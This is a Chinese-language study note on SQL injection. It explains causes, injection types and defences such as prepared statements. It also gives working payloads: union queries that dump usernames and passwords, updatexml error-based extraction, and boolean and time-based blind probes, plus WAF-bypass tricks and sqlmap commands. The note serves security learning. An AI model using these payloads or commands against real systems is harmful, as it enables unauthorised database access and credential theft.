简介
sql注入产生的主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。
分类
1.基于数字或字符串型注入(分为联合查询注入,堆叠查询注入,宽字节注入)
2.基于报错注入(页面会返回报错信息)
3.基于布尔的盲注(根据返回页面判断条件真假)
4.基于时间的盲注(查看延迟语句是否执行)
防御
1.使用预编译语句,绑定变量(预编译语句是在执行 SQL 查询之前,将 SQL 查询字符串和用户输入分开处理的一种技术。通常,预编译语句会将 SQL 查询字符串中的变量位置用占位符(例如问号 ?
或者冒号 :
)代替。然后,将用户输入作为参数传递给预编译的语句,而不是直接将用户输入嵌入到 SQL 查询字符串中。)
2.过滤特殊符号 如','',and,or等
3.检查变量的数据类型和格式
4.使用白名单来规范化输入验证方法
information_schema库(mysql5.0以上才有本数据库)
information_schema.schemata:记录所有数据库名信息的表,数据库名的列在本表中是schema_name
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库名
table_name:表名
column_name:列名
information_schema库常用查询payload
1.获取数据库名
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA(获取所有数据库的名称)
2.获取表名
SELECT TABLE_NAME FROM information_schema.TABLES(获取所有表的名称)
3.获取字段名
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME = 'users' AND TABLE_SCHEMA = 'securty';
(查询securty数据库下uesers表下的所有列名)
常用sql注入payload
2从information数据库下的columns表内查询users表的列
select group_concat(column_name) from information_schema.columns where table_name='users'
3查询security库下的users表内的username
select group_concat(username) from security.users
4查询security库下的users表内的password
select group_concat(password) from security.users
5报错查询数据库
and updatexml(1,concat(0x7e,database(),0x7e),1)
5报错查询表名
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)
6布尔注入查询数据库长度
?id=1 and length(database()) = 8--+
7布尔注入查询数据库字段
?id=1 and substr(database(),1,1)='s' --+
8时间盲注
?id=1 and if(length(database())=4,sleep(5),2)
绕过WAF
1.变换大小写
2.编码:16进制编码,unicode编码
3.插入注释符
4.重写
5.二阶注入
6.宽字节注入
sql注入流程
1.找到注入点
2.判断请求类型(如get,post,http head)
3.判断页面有无回显,确定是否盲注,或者报错注入
4.有回显的情况下判断是字符型还是数字型
5.测试闭合
6.构建payload
7.无回显的情况下查看是否有报错信息,有报错信息使用报错注入,没有则使用盲注。
sqlmap注入方法
1.如果是get方法,直接sqlmap -u "网址"
2.post方法,使用sqlmap -u "网址" --data="post的参数"
3.如果是cookie,X-Forwarded-For等,可以在访问的时候用burpsuite抓包,注入处用*cookie*或*xforwardedfor*替代,放到文件中,然后sqlmap -r "文件地址"
报错注入函数
1.updatexml()函数
2.extractvalue()函数
3.floor()函数
盲注和延时注入(时间盲注)的共同点?
都是一个字符一个字符的判断
宽字节注入
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入